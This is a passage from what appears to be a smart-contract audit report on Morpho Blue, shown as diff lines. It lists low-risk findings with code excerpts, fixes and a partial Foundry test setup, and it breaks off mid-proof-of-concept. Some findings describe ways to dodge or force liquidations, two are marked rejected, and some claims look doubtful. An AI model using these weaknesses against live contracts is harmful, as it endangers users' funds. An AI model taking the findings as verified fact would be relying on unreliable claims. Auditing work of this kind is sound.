+- [`MathLib.sol#mulDivUp()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L33-L33) function: Line 33
+
+- Recommendation
+**Implement Minimum Numerator Threshold:** Introduce a requirement that the numerator (`x * y` in these instances) must exceed a certain minimum value relative to the denominator (`d`). This approach ensures that division results do not inaccurately round down to zero.
+
+**Precision-Enhancing Techniques:** Explore alternative mathematical approaches or library functions that can offer higher precision in division operations, especially for scenarios involving small numerators.
+
+
+
+### Solidity version 0.8.20 may not work on other chains due to `PUSH0`
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+Solidity version 0.8.20 introduces a default target EVM (Ethereum Virtual Machine) version that aligns with the Shanghai update, including the new `PUSH0` opcode. However, this opcode may not be supported on all Layer 2 solutions (L2s), leading to potential deployment failures on these chains. The compatibility issue arises because the pragma directives in the codebase are set to `^0.8.0`, which allows the use of Solidity 0.8.20. Projects integrating with or extending this codebase may face challenges in deploying contracts or libraries due to this incompatibility.
+
+*Each of these files may encounter deployment issues on Layer 2 solutions that do not yet support the `PUSH0` opcode introduced in Solidity version 0.8.20.*
+
+- ConstantsLib.sol
+- ErrorsLib.sol
+- EventsLib.sol
+- MarketParamsLib.sol
+- MathLib.sol
+- SafeTransferLib.sol
+- SharesMathLib.sol
+- UtilsLib.sol
+- MorphoBalancesLib.sol
+- MorphoLib.sol
+- MorphoStorageLib.sol
+
+- Recommendation
+**Specify an Earlier EVM Version:** Adjust the pragma directive in each affected file to explicitly target an earlier EVM version that does not include the `PUSH0` opcode. This can be achieved by setting a specific Solidity version or specifying the target EVM version in the compiler settings.
+
+
+
+### Some tokens may revert when large transfers are made
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+
+Tokens such as COMP or UNI will revert when an address' balance reaches [`type(uint96).max`](https://github.com/compound-finance/compound-protocol/blob/a3214f67b73310d547e00fc578e8355911c9d376/contracts/Governance/Comp.sol#L238). Ensure the calls below can be broken up into smaller batches if necessary.
+
+A possible scenario for a user who doesn’t want to be fully liquidated is to have borrowShares which are more than the uint96 max number. That will effectively protect him from passing all his shares as an argument for the `liquidate` function, as they will cause safeTransfer at line 400 to revert.
+Other examples:
+
+```solidity
+📁 File: src/Morpho.sol
+
+224: IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+260: IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+338: IERC20(marketParams.collateralToken).safeTransfer(receiver, assets);
+
+400: IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+416: IERC20(token).safeTransfer(msg.sender, assets);
+```
+
+- Recommendation
+
+Consider adding **blacklist** mapping to restrict users from depositing and eventually losing their assets from the interaction with such markets, this will greatly reduce the amount of malicious markets:
+
+```diff
+mapping(address token => bool isBlocked) public blacklist;
+
+modifier onlyNonBlacklisted(address loanToken, address collateralToken) {
+ require(!blacklist[loanToken] && !blacklist[collateralToken], ErrorsLib.BLACKLIST);
+ _;
+}
+
+- function createMarket(MarketParams memory marketParams) external {
++ function createMarket(MarketParams memory marketParams) external onlyNonBlacklisted(marketParams.loanToken, marketParams.collateralToken) {
+
+function addToBlacklist(address token, bool isBlocked) external onlyOwner {
+ blacklist[token] = isBlocked;
+}
+```
+
+
+
+### Unsafe downcast
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+
+When a type is downcast to a smaller type, the higher order bits are discarded, resulting in the application of a modulo operation to the original value.
+
+If the downcasted value is large enough, this may result in an overflow that will not revert.
+
+```solidity
+📁 File: src/Morpho.sol
+
+/// @audit uint256 -> uint128
+133: market[id].fee = uint128(newFee);
+```
+
+[133](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd0[29](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L29-L29)49c8c23/src/Morpho.sol#L133-L133)
+
+```solidity
+📁 File: src/libraries/UtilsLib.sol
+
+/// @audit uint256 -> uint128
+29: return uint128(x);
+```
+
+[29](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/UtilsLib.sol#L29-L29)
+
+```solidity
+📁 File: src/libraries/periphery/MorphoLib.sol
+
+/// @audit uint256 -> uint128
+20: return uint128(uint256(morpho.extSloads(slot)[0]));
+
+/// @audit uint256 -> uint128
+30: return uint128(uint256(morpho.extSloads(slot)[0]));
+
+/// @audit uint256 -> uint128
+40: return uint128(uint256(morpho.extSloads(slot)[0]));
+
+/// @audit uint256 -> uint128
+50: return uint128(uint256(morpho.extSloads(slot)[0]));
+```
+
+[20](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L20-L20), [30](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L30-L30), [40](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L40-L40), [50](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L50-L50)
+
+- Recommendation
+
+It is recommended to use the [SafeCast library](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeCast.sol)
+
+
+
+### Use of `ecrecover` is susceptible to signature malleability
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L435-L452](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L435-L452)
+
+- Description
+
+The built-in EVM precompile `ecrecover` is susceptible to signature malleability, which could lead to replay attacks. References: https://swcregistry.io/docs/SWC-117, https://swcregistry.io/docs/SWC-121, and https://medium.com/cryptronics/signature-replay-vulnerabilities-in-smart-contracts-3b6f7596df57.
+
+```solidity
+📁 File: src/Morpho.sol
+
+/// @audit ecrecover on line 441
+435: function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+436: require(block.timestamp <= authorization.deadline, ErrorsLib.SIGNATURE_EXPIRED);
+437: require(authorization.nonce == nonce[authorization.authorizer]++, ErrorsLib.INVALID_NONCE);
+438:
+439: bytes32 hashStruct = keccak256(abi.encode(AUTHORIZATION_TYPEHASH, authorization));
+440: bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
+441: address signatory = ecrecover(digest, signature.v, signature.r, signature.s);
+442:
+443: require(signatory != address(0) && authorization.authorizer == signatory, ErrorsLib.INVALID_SIGNATURE);
+444:
+445: emit EventsLib.IncrementNonce(msg.sender, authorization.authorizer, authorization.nonce);
+446:
+447: isAuthorized[authorization.authorizer][authorization.authorized] = authorization.isAuthorized;
+448:
+449: emit EventsLib.SetAuthorization(
+450: msg.sender, authorization.authorizer, authorization.authorized, authorization.isAuthorized
+451: );
+452: }
+```
+
+[435](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L435-L452)
+
+- Recommendation
+
+Consider using [OpenZeppelin’s ECDSA](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol#L138-L149) library (which prevents this malleability) instead of the built-in function.
+
+
+
+### Using `>`/`>=` without specifying an upper bound is unsafe
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+
+There **will** be breaking changes in future versions of solidity, and at that point your code will no longer be compatible. While you may have the specific version to use in a configuration file, others that include your source files may not.
+
+```
+📁 File: src/interfaces/IERC20.sol
+
+2: pragma solidity >=0.5.0;
+```
+
+[IERC20.sol](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IERC20.sol#L2)
+
+```solidity
+📁 File: src/interfaces/IIrm.sol
+
+2: pragma solidity >=0.5.0;
+```
+
+[IIrm.sol](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IIrm.sol#L2)
+
+```solidity
+📁 File: src/interfaces/IMorpho.sol
+
+2: pragma solidity >=0.5.0;
+```
+
+[IMorpho.sol](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L2)
+
+```solidity
+📁 File: src/interfaces/IMorphoCallbacks.sol
+
+2: pragma solidity >=0.5.0;
+```
+
+[IMorphoCallbacks.sol](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L2)
+
+```solidity
+📁 File: src/interfaces/IOracle.sol
+
+2: pragma solidity >=0.5.0;
+```
+
+[IOracle.sol](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IOracle.sol#L2)
+
+- Recommendation
+
+Include an upper limit for Solidity version.
+
+
+
+### No restriction on which Oracle to use, which broke the invariant of returning 36 decimals
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+
+As said in Morpho’s whitepaper, their approach is to create an Oracle agnostic protocol, but markets can easily be ruined by using an Oracle that returns prices in decimals different than 36.
+
+If we rely on the docs, the potential market creator can use whatever type of oracle he chooses, the only requirement to integrate it with Morpho-Blue’s code is to expose `price()` function, it can either be Chainlink, Uniswap, or even oracle-less approach similar to Ajna (2.2 from whitepaper). All these oracles have different implementations, but the most important one, which is different from the [ChainlinkOracle by Morpho-Blue](https://cantina.xyz/ai/8409a0ce-6c21-4cc9-8ef2-bd77ce7425af/morpho-blue-oracles/src/ChainlinkOracle.sol#L15) are the decimals of the prices returned.
+
+As we can see `Morpho.sol` heavily relies on the oracle to return the prices in **36 decimals**, but it’s not the case in the above-mentioned, most of the third-party oracles available return their prices in either 18 or 8 decimals, which will be destructive for the protocol.
+
+![Price-feed](https://gist.github.com/assets/84782275/262bdfd6-f35b-4f06-98fc-889d0e01c7d3)
+
+If the market creator wants to use another oracle he either has to add additional code and complexity to the external oracle’s implementation or to use it as it is, which will break the accounting.
+
+You can check some of Chainlink’s price feeds for example:
+
+https://docs.chain.link/data-feeds/price-feeds/addresses?network=ethereum&page=1
+
+Functions that will be entirely affected since they heavily rely on the prices with 36 decimals due to the hardcoded `ORACLE_PRICE_SCALE = 1e36`:
+
+- liquidate (line 357)
+- isHealthy (line 504)
+
+One possible scenario:
+
+Assume that a market with the following params is created:
+
+- Oracle which returns the price in 18 decimals
+- Loan token - stETH
+- Collateral token - ETH
+- LLTV - 90%
+
+Let’s see what will happen when we calculate **maxBorrow** in `isHealthy` which represents the max borrowable loan for the amount of collateral provided capped with the LLTV:
+
+```solidity
+function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+ internal
+ view
+ returns (bool)
+{
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+
+ return maxBorrow >= borrowed;
+}
+```
+
+In 36 decimals, for `10e18 collateral` one can borrow up to `9e18 loan`. But when 18 decimal price is returned by the oracle max borrow is only `9 wei` for the same collateral provided, see the calculations below:
+
+```mathematica
+maxBorrow = (((position[id][borrower].collateral * collateralPrice) / ORACLE_PRICE_SCALE) * LLTV) / WAD
+Oracle with 36 decimals: maxBorrow = (((10e18 * 1e36) / 1e36) * 9e17) / 1e18 = 9e18
+Oracle with 18 decimals: maxBorrow = (((10e18 * 1e18) / 1e36) * 9e17) / 1e18 = 9
+```
+
+Market creation should be easy to set up and assuming that most of the creators won’t have developer experience, they will be forced to use Morpho-Blue’s ChainlinkOracle implementation which deviates from the initial idea to give freedom to the users to safely integrate any oracle that they wish.
+
+```solidity
+📁 File: src/Morpho.sol
+
+357: uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+504: uint256 collateralPrice = IOracle(marketParams.oracle).price();
+```
+
+- Recommendation
+
+Consider using EIP165 and check whether the oracle address passed as an argument to the `createMarket` function implements **IOracle** as this will resolve only part of the problem**.**
+
+More extreme mitigation would be to create a mapping, similar to `enableIir` to add oracles which are safe to use in a market:
+
+```solidity
+mapping(address oracle => bool isAllowed) public whitelistedOracles;
+
+function enableOracle(address oracle, bool isAllowed) external onlyOwner {
+ whitelistedOracles[oracle] = isAllowed;
+}
+```
+
+
+
+### Morpho Markets does not work with fee-on-transfer tokens _(this issue has been rejected)_
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+
+The `Morpho.sol` contract contains several important functions related to markets flow. Some of them are:
+
+- [`supply()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L194)
+- [`supplyCollateral()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L317)
+
+All of this functions include the implementatin of token transferring (loan or collateral assets).
+
+**[`supply()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L194) function**
+
+```solidity
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+```
+
+**[`supplyCollateral()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L317) function**
+
+```solidity
+ IERC20(marketParams.collateralToken).safeTransferFrom(msg.sender, address(this), assets);
+```
+
+However, before transferring tokens, this functions also includes code for caching the assets/shares that are transferred:
+
+**[`supply()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L194) function**
+
+```solidity
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+```
+
+**[`supplyCollateral()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L317) function**
+
+```solidity
+ position[id][onBehalf].collateral += assets.toUint128();
+```
+
+- Proof of Concept
+
+All of the code above does not account for tokens that have a fee-on-transfer mechanisms. By caching (or removing) the amount given to the `safeTransfer` or `safeTransferFrom` methods of the `ERC20` token, this implies that this will be the actual received/sent out amount by the protocol and that it will be static, but that is not guaranteed to be the case.
+If fee-on-transfer tokens are used, on `supply()` or `supplyCollateral()` action the actual received amount will be less, so withdrawing the same balance won't be possible.
+
+Let's consider the following scenario:
+
+1. A specific Morpho Market receives 100 collateral tokens through the [`supplyCollateral()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L317) function. However, this particular token supports a fee-on-transfer mechanism.
+2. The `Morpho.sol` contract assumes it has received 100 collateral tokens.
+3. The [`supplyCollateral()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L317) function updates the supplier's collateral position with an additional 100 tokens.
+4. In reality, the `Morpho.sol` contract only receives 90 tokens.
+As a result, all calculations for the given token are incorrect, making it impossible to withdraw an equivalent balance of the same token.
+
+- Recommendation
+
+You can either:
+
+1. Explicitly document that you do not support tokens with a fee-on-transfer mechanism.
+2. Check the `balance before and after the transfer` and validate it is the same as the amount argument provided.
+
+
+
+### The liquidation() function does not follow the documentation
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L344-L410](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L410)
+
+- Description
+
+This [`Morpho.sol#liquidate()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L410) function is intended to manage the liquidation process when a borrower's position becomes unhealthy. The function liquidates the given `repaidShares` of debt asset or seize the given `seizedAssets` of collateral on the given market `marketParams` of the given `borrower`'s position, optionally calling back the caller's `onMorphoLiquidate` function with the given `data`.
+
+```solidity
+function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+}
+```
+
+The documentation describes different scenarios based on the Loan-To-Value (LTV) ratio, specifically mentioning that if the LTV ratio exceeds `1/Liquidation Incentive Factor (LIF)`, a liquidator can seize all the collateral by repaying only a part of the debt, leaving the rest as bad debt.
+
+In the [Morpho Blue Whitepaper](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/morpho-blue-whitepaper.pdf) writes the following (at 2.3 point):
+
+> If 1/LIF < LTV , a liquidator can seize all the collateral by repaying only a share of the debt. There is no incentive for the liquidator or borrower to repay the remaining debt. The latter is commonly referred to as bad debt.
+>
+
+The implementation of the [`Morpho.sol#liquidate()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L410) function does not reflect the scenario described in the documentation where a liquidator can seize all the collateral by repaying only part of the debt in cases where `1/LIF < LTV`. This discrepancy between the documentation and the actual contract code can lead to incorrect expectations and potentially flawed liquidation processes.
+
+- Proof of Concept
+
+1. **Documentation Claim**: When `1/LIF < LTV`, a liquidator can seize all collateral by repaying only a portion of the debt.
+2. **Contract Implementation**: The `liquidate` function logic does not explicitly handle this scenario as described. Instead, it proceeds with a standard liquidation process without the provision for partial debt repayment leading to bad debt.
+3. **Discrepancy**: There is a clear mismatch between the documented behavior and the implemented logic in the contract.
+
+- Recommendation
+
+Ensure that the contract's documentation accurately reflects its implementation. If the described behavior (partial debt repayment in certain scenarios) is intended, the code should be updated accordingly. By addressing this discrepancy, the `Morpho.sol` contract can ensure consistency between its documentation and implementation, thus enhancing reliability and user trust.
+
+
+
+### In `_isHealthy()`, `borrowed` amount is rounded up, which can lead to unfair liquidation
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L513-L525](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L513-L525)
+
+- Description
+
+The `Morpho.sol#_isHealthy()` function is responsible for determining if a borrower's position is sufficiently collateralized. A critical part of this assessment involves calculating the total borrowed amount.
+
+```solidity
+ /// @dev Returns whether the position of `borrower` in the given market `marketParams` with the given
+ /// `collateralPrice` is healthy.
+ /// @dev Assumes that the inputs `marketParams` and `id` match.
+ /// @dev Rounds in favor of the protocol, so one might not be able to borrow exactly `maxBorrow` but one unit less.
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+ internal
+ view
+ returns (bool)
+ {
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+
+ return maxBorrow >= borrowed;
+ }
+```
+
+In the above snippet, `toAssetsUp` rounds up the borrowed amount. This can lead to a situation where a borrower's position is considered undercollateralized (as it might cause the `borrowed` asset to be cached with 1 higher than the correct amount), triggering a liquidation process unfairly.
+
+The issue stems from the rounding up of the borrowed amount in the `_isHealthy()` function. When the calculated borrowed amount is slightly less than the next integer, rounding up increases the amount, potentially leading to an incorrect assessment of the borrower's health status. In a tightly collateralized position, this can mean the result of [`_isHealthy()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L509-L525) function (difference between `maxBorrow` and `borrowed`) to be `false`, marking the current borrow as `unhealthy` and being flagged for liquidation.
+
+- Proof of Concept
+
+Consider a scenario where the actual borrowed amount is `99.1 units`, but due to rounding up, it's considered as 100 units. If a borrower's collateral is just enough to cover `99.1 units`, this rounding error would inaccurately mark the position as undercollateralized, leading to an unwarranted liquidation.
+As a result, everyone can unfairly call [`liquidate()`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L410) function to liquidate particular borrows which fall into the example above.
+
+```solidity
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION); // @audit is healthy check
+
+ // .. other code ...
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ /// ... other code ...
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+ }
+```
+
+- Recommendation
+
+**Revise Rounding Method**: Change the rounding method in the calculation of the borrowed amount to either round down or use a more accurate mathematical approach that minimizes rounding impacts within Morpho markets.
+
+
+
+### Fee recipient will not be able to withdraw his supplyShares (loan tokens) for some period of time _(this issue has been rejected)_
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+
+In Morpho, each market may impose a fee, derived from the accumulating interest over time. This fee is given to a fee recipient (or in other words mostly someone from the Morpho team). The fee, represented as loan tokens, is derived from the interest paid by borrowers, with a portion reserved as the protocol fee.
+
+If there's a fee in a market, some of the interest goes to the fee recipient.
+
+```solidity
+function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+}
+```
+
+The `feeRecipient` is an address set by the Morpho team, and they don't specify when, how often, or in what intervals these fees will be withdrawn.
+
+If there aren't enough loanTokens in the market, the feeRecipient has to wait until borrowers repay or there's a liquidation before they can withdraw the accumulated fees.
+
+- Proof of Concept
+
+Consider the following scenario:
+
+**Market with**:
+
+- 10 Suppliers - each supplying X loanToken (10 in this case)
+- 10 Borrowers - each borrowing X loanToken
+
+> ***Note: Each Borrower provides enough collateral to maintain a healthy position.***
+>
+
+> ***We don't need the other market parameters for this case.***
+>
+
+If 100, why not 1000 blocks pass and all positions are still healthy, the fee receiver will accumulate some shares, but when it tries to call withdraw() the function may revert due to insufficient amount of loanToken.
+
+> Fees can only be withdrawn after someone repays their position by transferring loanToken + interest or goes through liquidation(which increase the loanToken inside the Morpho contract)
+>
+
+The provided PoC follows this brief flow:
+
+1. A supplier supplies 32 tokens.
+2. Two borrowers add sufficient collateral and borrow the entire 32 loan tokens.
+3. Fees accumulate, and the Fee Recipient calls withdraw().
+4. Withdraw() reverts because there is an insufficient amount of loanToken.
+
+- Coded PoC
+
+You need to add some setup variables to be able to run the test.
+
+```diff
+📁 File: test//forge/BaseTest.sol
+
+Line:42
+...
+ address internal SUPPLIER;
+ address internal BORROWER;
++ address internal BORROWER2;
+ address internal REPAYER;
+ address internal ONBEHALF;
+ address internal RECEIVER;
+ address internal LIQUIDATOR;
+ address internal OWNER;
+ address internal FEE_RECIPIENT;
+
+ IMorpho internal morpho;
+ ERC20Mock internal loanToken;
+ ERC20Mock internal collateralToken;
+ OracleMock internal oracle;
+ IrmMock internal irm;
+
+ MarketParams internal marketParams;
+ Id internal id;
+
+ function setUp() public virtual {
+ SUPPLIER = makeAddr("Supplier");
+ BORROWER = makeAddr("Borrower");
++ BORROWER2 = makeAddr("Borrower2");
+ REPAYER = makeAddr("Repayer");
+ ONBEHALF = makeAddr("OnBehalf");
+ RECEIVER = makeAddr("Receiver");
+ LIQUIDATOR = makeAddr("Liquidator");
+ OWNER = makeAddr("Owner");
+ FEE_RECIPIENT = makeAddr("FeeRecipient");
+
+ morpho = IMorpho(address(new Morpho(OWNER)));
+
+ loanToken = new ERC20Mock();
+ vm.label(address(loanToken), "LoanToken");
+
+ collateralToken = new ERC20Mock();
+ vm.label(address(collateralToken), "CollateralToken");
+
+ oracle = new OracleMock();
+
+ oracle.setPrice(ORACLE_PRICE_SCALE);
+
+ irm = new IrmMock();
+
+ vm.startPrank(OWNER);
+ morpho.enableIrm(address(irm));
+ morpho.setFeeRecipient(FEE_RECIPIENT);
+ vm.stopPrank();
+
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ vm.startPrank(SUPPLIER);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(BORROWER);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
++ changePrank(BORROWER2);
++ loanToken.approve(address(morpho), type(uint256).max);
++ collateralToken.approve(address(morpho), type(uint256).max);
+
+...
+...
+```
+
+Place the PoC at the end of the `BaseTest.sol`.
+
+Can be run with:
+
+```solidity
+yarn test:forge --match-contract BaseTest --match-test test_FeeRecipientCannotWithdrawFees -vv
+```
+
+```solidity
